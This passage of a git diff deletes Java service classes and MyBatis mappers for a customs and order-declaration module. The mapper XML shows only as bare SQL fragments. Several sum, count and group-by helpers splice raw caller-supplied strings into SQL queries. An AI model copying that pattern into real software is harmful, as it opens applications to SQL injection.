customProductRecordMapper.selectCustomProductRecordList(customProductRecord); - } - - /** - * 新增商品备案 - * - * @param customProductRecord 商品备案 - * @return 结果 - */ - @Override - public int insertCustomProductRecord(CustomProductRecord customProductRecord) - { - return customProductRecordMapper.insertCustomProductRecord(customProductRecord); - } - - /** - * 修改商品备案 - * - * @param customProductRecord 商品备案 - * @return 结果 - */ - @Override - public int updateCustomProductRecord(CustomProductRecord customProductRecord) - { - customProductRecord.setUpdateTime(DateUtils.getNowDate()); - return customProductRecordMapper.updateCustomProductRecord(customProductRecord); - } - - /** - * 批量删除商品备案 - * - * @param ids 需要删除的商品备案ID - * @return 结果 - */ - @Override - public int deleteCustomProductRecordByIds(Long[] ids) - { - return customProductRecordMapper.deleteCustomProductRecordByIds(ids); - } - - /** - * 删除商品备案信息 - * - * @param id 商品备案ID - * @return 结果 - */ - @Override - public int deleteCustomProductRecordById(Long id) - { - return customProductRecordMapper.deleteCustomProductRecordById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomRegionCodeServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomRegionCodeServiceImpl.java deleted file mode 100644 index 9df4be5..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomRegionCodeServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomRegionCodeMapper; -import com.ruoyi.custom.domain.CustomRegionCode; -import com.ruoyi.custom.domain.CustomRegionCodePlus; -import com.ruoyi.custom.service.ICustomRegionCodeService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 国家行政区划代码Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomRegionCodeServiceImpl extends ServiceImpl implements ICustomRegionCodeService -{ - @Autowired - private CustomRegionCodeMapper customRegionCodeMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomRegionCodePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomRegionCodePlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomRegionCodePlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomRegionCodePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomRegionCodePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomRegionCodePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_region_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_region_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_region_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询国家行政区划代码 - * - * @param id 国家行政区划代码ID - * @return 国家行政区划代码 - */ - @Override - public CustomRegionCode selectCustomRegionCodeById(Long id) - { - return customRegionCodeMapper.selectCustomRegionCodeById(id); - } - - /** - * 查询国家行政区划代码列表 - * - * @param customRegionCode 国家行政区划代码 - * @return 国家行政区划代码 - */ - @Override - public List selectCustomRegionCodeList(CustomRegionCode customRegionCode) - { - return customRegionCodeMapper.selectCustomRegionCodeList(customRegionCode); - } - - /** - * 新增国家行政区划代码 - * - * @param customRegionCode 国家行政区划代码 - * @return 结果 - */ - @Override - public int insertCustomRegionCode(CustomRegionCode customRegionCode) - { - return customRegionCodeMapper.insertCustomRegionCode(customRegionCode); - } - - /** - * 修改国家行政区划代码 - * - * @param customRegionCode 国家行政区划代码 - * @return 结果 - */ - @Override - public int updateCustomRegionCode(CustomRegionCode customRegionCode) - { - return customRegionCodeMapper.updateCustomRegionCode(customRegionCode); - } - - /** - * 批量删除国家行政区划代码 - * - * @param ids 需要删除的国家行政区划代码ID - * @return 结果 - */ - @Override - public int deleteCustomRegionCodeByIds(Long[] ids) - { - return customRegionCodeMapper.deleteCustomRegionCodeByIds(ids); - } - - /** - * 删除国家行政区划代码信息 - * - * @param id 国家行政区划代码ID - * @return 结果 - */ - @Override - public int deleteCustomRegionCodeById(Long id) - { - return customRegionCodeMapper.deleteCustomRegionCodeById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomUnitCodeServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomUnitCodeServiceImpl.java deleted file mode 100644 index 5f16b30..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomUnitCodeServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomUnitCodeMapper; -import com.ruoyi.custom.domain.CustomUnitCode; -import com.ruoyi.custom.domain.CustomUnitCodePlus; -import com.ruoyi.custom.service.ICustomUnitCodeService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 计量单位代码Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomUnitCodeServiceImpl extends ServiceImpl implements ICustomUnitCodeService -{ - @Autowired - private CustomUnitCodeMapper customUnitCodeMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomUnitCodePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomUnitCodePlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomUnitCodePlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomUnitCodePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomUnitCodePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomUnitCodePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_unit_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_unit_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_unit_code "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询计量单位代码 - * - * @param id 计量单位代码ID - * @return 计量单位代码 - */ - @Override - public CustomUnitCode selectCustomUnitCodeById(Long id) - { - return customUnitCodeMapper.selectCustomUnitCodeById(id); - } - - /** - * 查询计量单位代码列表 - * - * @param customUnitCode 计量单位代码 - * @return 计量单位代码 - */ - @Override - public List selectCustomUnitCodeList(CustomUnitCode customUnitCode) - { - return customUnitCodeMapper.selectCustomUnitCodeList(customUnitCode); - } - - /** - * 新增计量单位代码 - * - * @param customUnitCode 计量单位代码 - * @return 结果 - */ - @Override - public int insertCustomUnitCode(CustomUnitCode customUnitCode) - { - return customUnitCodeMapper.insertCustomUnitCode(customUnitCode); - } - - /** - * 修改计量单位代码 - * - * @param customUnitCode 计量单位代码 - * @return 结果 - */ - @Override - public int updateCustomUnitCode(CustomUnitCode customUnitCode) - { - return customUnitCodeMapper.updateCustomUnitCode(customUnitCode); - } - - /** - * 批量删除计量单位代码 - * - * @param ids 需要删除的计量单位代码ID - * @return 结果 - */ - @Override - public int deleteCustomUnitCodeByIds(Long[] ids) - { - return customUnitCodeMapper.deleteCustomUnitCodeByIds(ids); - } - - /** - * 删除计量单位代码信息 - * - * @param id 计量单位代码ID - * @return 结果 - */ - @Override - public int deleteCustomUnitCodeById(Long id) - { - return customUnitCodeMapper.deleteCustomUnitCodeById(id); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomWarehouseServiceImpl.java b/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomWarehouseServiceImpl.java deleted file mode 100644 index 5576b15..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/service/impl/CustomWarehouseServiceImpl.java +++ /dev/null @@ -1,188 +0,0 @@ -package com.ruoyi.custom.service.impl; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; -import com.github.pagehelper.PageHelper; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -import java.util.HashMap; -import com.ruoyi.common.utils.StringUtils; -import com.alibaba.fastjson.JSONArray; -import java.util.List; -import java.util.Map; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import com.ruoyi.custom.mapper.CustomWarehouseMapper; -import com.ruoyi.custom.domain.CustomWarehouse; -import com.ruoyi.custom.domain.CustomWarehousePlus; -import com.ruoyi.custom.service.ICustomWarehouseService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -/** - * 仓库Service业务层处理 - * - * @author luqj - * @date 2021-10-23 - */ -@Service -public class CustomWarehouseServiceImpl extends ServiceImpl implements ICustomWarehouseService -{ - @Autowired - private CustomWarehouseMapper customWarehouseMapper; - @Autowired - private JdbcTemplate jdbcTemplate; - - @Override - public List getByIds(List ids, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).in(CustomWarehousePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - @Override - public CustomWarehousePlus getById(Long id, SFunction... columns) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper() - .select(columns).eq(CustomWarehousePlus::getId, id); - return baseMapper.selectOne(lambdaQueryWrapper); - } - - @Override - public Map getMapByIds(List ids, SFunction... columns) { - List list = this.getByIds(ids, columns); - Map map = new HashMap<>(); - for (CustomWarehousePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public Map getMapByIds(List ids) { - List list = this.getByIds(ids); - Map map = new HashMap<>(); - for (CustomWarehousePlus item : list) { - map.put(item.getId(), item); - } - return map; - } - - @Override - public List getByIds(List ids) { - LambdaQueryWrapper lambdaQueryWrapper = new LambdaQueryWrapper().in(CustomWarehousePlus::getId, ids); - return this.list(lambdaQueryWrapper); - } - - public T sum(String field, String where, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" sum(" + field + ") as total "); - stringBuffer.append(" from custom_warehouse "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - T result = jdbcTemplate.queryForObject(stringBuffer.toString(), tClass); - return result; - } - - public Long count(String where) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(" count(1)"); - stringBuffer.append(" from "); - stringBuffer.append(" custom_warehouse "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - Long result = jdbcTemplate.queryForObject(stringBuffer.toString(), Long.class); - return result; - } - - public List countByGroupBy(String select, String where, String groupby, Class tClass) { - StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append("select "); - stringBuffer.append(select); - stringBuffer.append(" from "); - stringBuffer.append(" custom_warehouse "); - if (StringUtils.isNotBlank(where)) { - stringBuffer.append(" where "); - stringBuffer.append(where); - } - stringBuffer.append(" group by "); - stringBuffer.append(groupby); - List result = jdbcTemplate.queryForList(stringBuffer.toString()); - List tList = JSONArray.parseArray(JSONArray.toJSONString(result), tClass); - return tList; - } - /** - * 查询仓库 - * - * @param id 仓库ID - * @return 仓库 - */ - @Override - public CustomWarehouse selectCustomWarehouseById(Long id) - { - return customWarehouseMapper.selectCustomWarehouseById(id); - } - - /** - * 查询仓库列表 - * - * @param customWarehouse 仓库 - * @return 仓库 - */ - @Override - public List selectCustomWarehouseList(CustomWarehouse customWarehouse) - { - return customWarehouseMapper.selectCustomWarehouseList(customWarehouse); - } - - /** - * 新增仓库 - * - * @param customWarehouse 仓库 - * @return 结果 - */ - @Override - public int insertCustomWarehouse(CustomWarehouse customWarehouse) - { - return customWarehouseMapper.insertCustomWarehouse(customWarehouse); - } - - /** - * 修改仓库 - * - * @param customWarehouse 仓库 - * @return 结果 - */ - @Override - public int updateCustomWarehouse(CustomWarehouse customWarehouse) - { - return customWarehouseMapper.updateCustomWarehouse(customWarehouse); - } - - /** - * 批量删除仓库 - * - * @param ids 需要删除的仓库ID - * @return 结果 - */ - @Override - public int deleteCustomWarehouseByIds(Long[] ids) - { - return customWarehouseMapper.deleteCustomWarehouseByIds(ids); - } - - /** - * 删除仓库信息 - * - * @param id 仓库ID - * @return 结果 - */ - @Override - public int deleteCustomWarehouseById(Long id) - { - return customWarehouseMapper.deleteCustomWarehouseById(id); - } -} diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomCallbackMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomCallbackMapper.xml deleted file mode 100644 index 156250a..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomCallbackMapper.xml +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - - - - - - - - - - - - - - select id, user_id, customs_code, declare_order_no, session_id, service_time, status, add_time, post_result, send_number, send_time from custom_callback - - - - - - - - insert into custom_callback - - user_id, - customs_code, - declare_order_no, - session_id, - service_time, - status, - add_time, - post_result, - send_number, - send_time, - - - #{userId}, - #{customsCode}, - #{declareOrderNo}, - #{sessionId}, - #{serviceTime}, - #{status}, - #{addTime}, - #{postResult}, - #{sendNumber}, - #{sendTime}, - - - - - update custom_callback - - user_id = #{userId}, - customs_code = #{customsCode}, - declare_order_no = #{declareOrderNo}, - session_id = #{sessionId}, - service_time = #{serviceTime}, - status = #{status}, - add_time = #{addTime}, - post_result = #{postResult}, - send_number = #{sendNumber}, - send_time = #{sendTime}, - - where id = #{id} - - - - delete from custom_callback where id = #{id} - - - - delete from custom_callback where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomCountryCodeMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomCountryCodeMapper.xml deleted file mode 100644 index 648db28..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomCountryCodeMapper.xml +++ /dev/null @@ -1,65 +0,0 @@ - - - - - - - - - - - - - select id, code, name, remark from custom_country_code - - - - - - - - insert into custom_country_code - - code, - name, - remark, - - - #{code}, - #{name}, - #{remark}, - - - - - update custom_country_code - - code = #{code}, - name = #{name}, - remark = #{remark}, - - where id = #{id} - - - - delete from custom_country_code where id = #{id} - - - - delete from custom_country_code where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomDeclarePortMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomDeclarePortMapper.xml deleted file mode 100644 index 7654fe3..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomDeclarePortMapper.xml +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - - - - - - select id, name, code, describe, directly_name, short_name, is_use from custom_declare_port - - - - - - - - insert into custom_declare_port - - name, - code, - describe, - directly_name, - short_name, - is_use, - - - #{name}, - #{code}, - #{describe}, - #{directlyName}, - #{shortName}, - #{isUse}, - - - - - update custom_declare_port - - name = #{name}, - code = #{code}, - describe = #{describe}, - directly_name = #{directlyName}, - short_name = #{shortName}, - is_use = #{isUse}, - - where id = #{id} - - - - delete from custom_declare_port where id = #{id} - - - - delete from custom_declare_port where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomEnterpriseRecordMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomEnterpriseRecordMapper.xml deleted file mode 100644 index 6ddcd88..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomEnterpriseRecordMapper.xml +++ /dev/null @@ -1,130 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - select id, declare_port_id, user_id, domain_name, enterprise_name, platform_short, business_short, credit_code, customs_code, national_code, encrypt_url, ge_code, message_code, kjds_key, ftp_server_ip, ftp_password, remark from custom_enterprise_record - - - - - - - - insert into custom_enterprise_record - - declare_port_id, - user_id, - domain_name, - enterprise_name, - platform_short, - business_short, - credit_code, - customs_code, - national_code, - encrypt_url, - ge_code, - message_code, - kjds_key, - ftp_server_ip, - ftp_password, - remark, - - - #{declarePortId}, - #{userId}, - #{domainName}, - #{enterpriseName}, - #{platformShort}, - #{businessShort}, - #{creditCode}, - #{customsCode}, - #{nationalCode}, - #{encryptUrl}, - #{geCode}, - #{messageCode}, - #{kjdsKey}, - #{ftpServerIp}, - #{ftpPassword}, - #{remark}, - - - - - update custom_enterprise_record - - declare_port_id = #{declarePortId}, - user_id = #{userId}, - domain_name = #{domainName}, - enterprise_name = #{enterpriseName}, - platform_short = #{platformShort}, - business_short = #{businessShort}, - credit_code = #{creditCode}, - customs_code = #{customsCode}, - national_code = #{nationalCode}, - encrypt_url = #{encryptUrl}, - ge_code = #{geCode}, - message_code = #{messageCode}, - kjds_key = #{kjdsKey}, - ftp_server_ip = #{ftpServerIp}, - ftp_password = #{ftpPassword}, - remark = #{remark}, - - where id = #{id} - - - - delete from custom_enterprise_record where id = #{id} - - - - delete from custom_enterprise_record where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomFlightInfoMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomFlightInfoMapper.xml deleted file mode 100644 index 13da36f..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomFlightInfoMapper.xml +++ /dev/null @@ -1,185 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select id, user_id, warehouse_id, declare_port_id, mode, batch_number, delivery_number, traf_mode, airline, departure_country, departure_city, departure_airport, transit_airport, arrive_airport, flight_number, is_direct_flight, is_our_booking, departure_local_time, departure_time, arrive_time, actual_arrive_time, tray_number, package_number, weight, chargeable_weight, volume, remark, add_time from custom_flight_info - - - - - - - - insert into custom_flight_info - - user_id, - warehouse_id, - declare_port_id, - mode, - batch_number, - delivery_number, - traf_mode, - airline, - departure_country, - departure_city, - departure_airport, - transit_airport, - arrive_airport, - flight_number, - is_direct_flight, - is_our_booking, - departure_local_time, - departure_time, - arrive_time, - actual_arrive_time, - tray_number, - package_number, - weight, - chargeable_weight, - volume, - remark, - add_time, - - - #{userId}, - #{warehouseId}, - #{declarePortId}, - #{mode}, - #{batchNumber}, - #{deliveryNumber}, - #{trafMode}, - #{airline}, - #{departureCountry}, - #{departureCity}, - #{departureAirport}, - #{transitAirport}, - #{arriveAirport}, - #{flightNumber}, - #{isDirectFlight}, - #{isOurBooking}, - #{departureLocalTime}, - #{departureTime}, - #{arriveTime}, - #{actualArriveTime}, - #{trayNumber}, - #{packageNumber}, - #{weight}, - #{chargeableWeight}, - #{volume}, - #{remark}, - #{addTime}, - - - - - update custom_flight_info - - user_id = #{userId}, - warehouse_id = #{warehouseId}, - declare_port_id = #{declarePortId}, - mode = #{mode}, - batch_number = #{batchNumber}, - delivery_number = #{deliveryNumber}, - traf_mode = #{trafMode}, - airline = #{airline}, - departure_country = #{departureCountry}, - departure_city = #{departureCity}, - departure_airport = #{departureAirport}, - transit_airport = #{transitAirport}, - arrive_airport = #{arriveAirport}, - flight_number = #{flightNumber}, - is_direct_flight = #{isDirectFlight}, - is_our_booking = #{isOurBooking}, - departure_local_time = #{departureLocalTime}, - departure_time = #{departureTime}, - arrive_time = #{arriveTime}, - actual_arrive_time = #{actualArriveTime}, - tray_number = #{trayNumber}, - package_number = #{packageNumber}, - weight = #{weight}, - chargeable_weight = #{chargeableWeight}, - volume = #{volume}, - remark = #{remark}, - add_time = #{addTime}, - - where id = #{id} - - - - delete from custom_flight_info where id = #{id} - - - - delete from custom_flight_info where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomHsCodeMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomHsCodeMapper.xml deleted file mode 100644 index c34bea5..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomHsCodeMapper.xml +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - select id, code, name, license_code, general_tax_rate, preferential_tax_rate, remark, export_tax_rate, consumption_tax_rate, vat_rate, first_legal_unit, second_legal_unit, declare_reason, is_exist_inventory from custom_hs_code - - - - - - - - insert into custom_hs_code - - code, - name, - license_code, - general_tax_rate, - preferential_tax_rate, - remark, - export_tax_rate, - consumption_tax_rate, - vat_rate, - first_legal_unit, - second_legal_unit, - declare_reason, - is_exist_inventory, - - - #{code}, - #{name}, - #{licenseCode}, - #{generalTaxRate}, - #{preferentialTaxRate}, - #{remark}, - #{exportTaxRate}, - #{consumptionTaxRate}, - #{vatRate}, - #{firstLegalUnit}, - #{secondLegalUnit}, - #{declareReason}, - #{isExistInventory}, - - - - - update custom_hs_code - - code = #{code}, - name = #{name}, - license_code = #{licenseCode}, - general_tax_rate = #{generalTaxRate}, - preferential_tax_rate = #{preferentialTaxRate}, - remark = #{remark}, - export_tax_rate = #{exportTaxRate}, - consumption_tax_rate = #{consumptionTaxRate}, - vat_rate = #{vatRate}, - first_legal_unit = #{firstLegalUnit}, - second_legal_unit = #{secondLegalUnit}, - declare_reason = #{declareReason}, - is_exist_inventory = #{isExistInventory}, - - where id = #{id} - - - - delete from custom_hs_code where id = #{id} - - - - delete from custom_hs_code where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomInventoryMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomInventoryMapper.xml deleted file mode 100644 index 6bc5cbb..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomInventoryMapper.xml +++ /dev/null @@ -1,65 +0,0 @@ - - - - - - - - - - - - - select id, name, code, remark from custom_inventory - - - - - - - - insert into custom_inventory - - name, - code, - remark, - - - #{name}, - #{code}, - #{remark}, - - - - - update custom_inventory - - name = #{name}, - code = #{code}, - remark = #{remark}, - - where id = #{id} - - - - delete from custom_inventory where id = #{id} - - - - delete from custom_inventory where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomOrderItemMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomOrderItemMapper.xml deleted file mode 100644 index bdb724b..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomOrderItemMapper.xml +++ /dev/null @@ -1,191 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select id, order_id, declare_port_id, warehouse_id, bar_code, quantity, price, shop_price, freight, tax_amount, item_link, book_number, product_code, name, brand, specification_model, description, quantity_unit, produce_country, inspection_and_quarantine_code, hs_code, tax_rate, declared_count, legal_metering_unit, second_declared_count, second_metering_unit, gross_weight, net_weight from custom_order_item - - - - - - - - insert into custom_order_item - - order_id, - declare_port_id, - warehouse_id, - bar_code, - quantity, - price, - shop_price, - freight, - tax_amount, - item_link, - book_number, - product_code, - name, - brand, - specification_model, - description, - quantity_unit, - produce_country, - inspection_and_quarantine_code, - hs_code, - tax_rate, - declared_count, - legal_metering_unit, - second_declared_count, - second_metering_unit, - gross_weight, - net_weight, - sku_code, - - - #{orderId}, - #{declarePortId}, - #{warehouseId}, - #{barCode}, - #{quantity}, - #{price}, - #{shopPrice}, - #{freight}, - #{taxAmount}, - #{itemLink}, - #{bookNumber}, - #{productCode}, - #{name}, - #{brand}, - #{specificationModel}, - #{description}, - #{quantityUnit}, - #{produceCountry}, - #{inspectionAndQuarantineCode}, - #{hsCode}, - #{taxRate}, - #{declaredCount}, - #{legalMeteringUnit}, - #{secondDeclaredCount}, - #{secondMeteringUnit}, - #{grossWeight}, - #{netWeight}, - #{skuCode}, - - - - - update custom_order_item - - order_id = #{orderId}, - declare_port_id = #{declarePortId}, - warehouse_id = #{warehouseId}, - bar_code = #{barCode}, - quantity = #{quantity}, - price = #{price}, - shop_price = #{shopPrice}, - freight = #{freight}, - tax_amount = #{taxAmount}, - item_link = #{itemLink}, - book_number = #{bookNumber}, - product_code = #{productCode}, - name = #{name}, - brand = #{brand}, - specification_model = #{specificationModel}, - description = #{description}, - quantity_unit = #{quantityUnit}, - produce_country = #{produceCountry}, - inspection_and_quarantine_code = #{inspectionAndQuarantineCode}, - hs_code = #{hsCode}, - tax_rate = #{taxRate}, - declared_count = #{declaredCount}, - legal_metering_unit = #{legalMeteringUnit}, - second_declared_count = #{secondDeclaredCount}, - second_metering_unit = #{secondMeteringUnit}, - gross_weight = #{grossWeight}, - net_weight = #{netWeight}, - sku_code = #{skuCode}, - - where id = #{id} - - - - delete from custom_order_item where id = #{id} - - - - delete from custom_order_item where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomOrderMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomOrderMapper.xml deleted file mode 100644 index 10073c9..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomOrderMapper.xml +++ /dev/null @@ -1,361 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select id, declare_port_id, warehouse_id, mode, user_id, s_order_no, declare_order_no, status, express_name, ship_order_number, buyer_reg_no, buyer_name, buyer_telephone, buyer_id_type, buyer_id_number, consignee, consignee_telephone, consignee_address, consignee_province, consignee_city, consignee_district, total_amount, discount_amount, pay_total_amount, tax_total_amount, shop_tax_total_amount, freight_amount, total_gross_weight, total_net_weight, total_quantity, pay_name, pay_code, pay_time, gateway_order_id, consignor, consignor_address, consignor_telephone, consignor_country, consignor_province, consignor_city, consignor_district, receipt_account, ver_dept, pay_type, inital_request, inital_response, remark, express_return, process, add_time, inventory_no, batch_number from custom_order - - - - - - - - insert into custom_order - - declare_port_id, - warehouse_id, - mode, - user_id, - s_order_no, - declare_order_no, - status, - express_name, - ship_order_number, - buyer_reg_no, - buyer_name, - 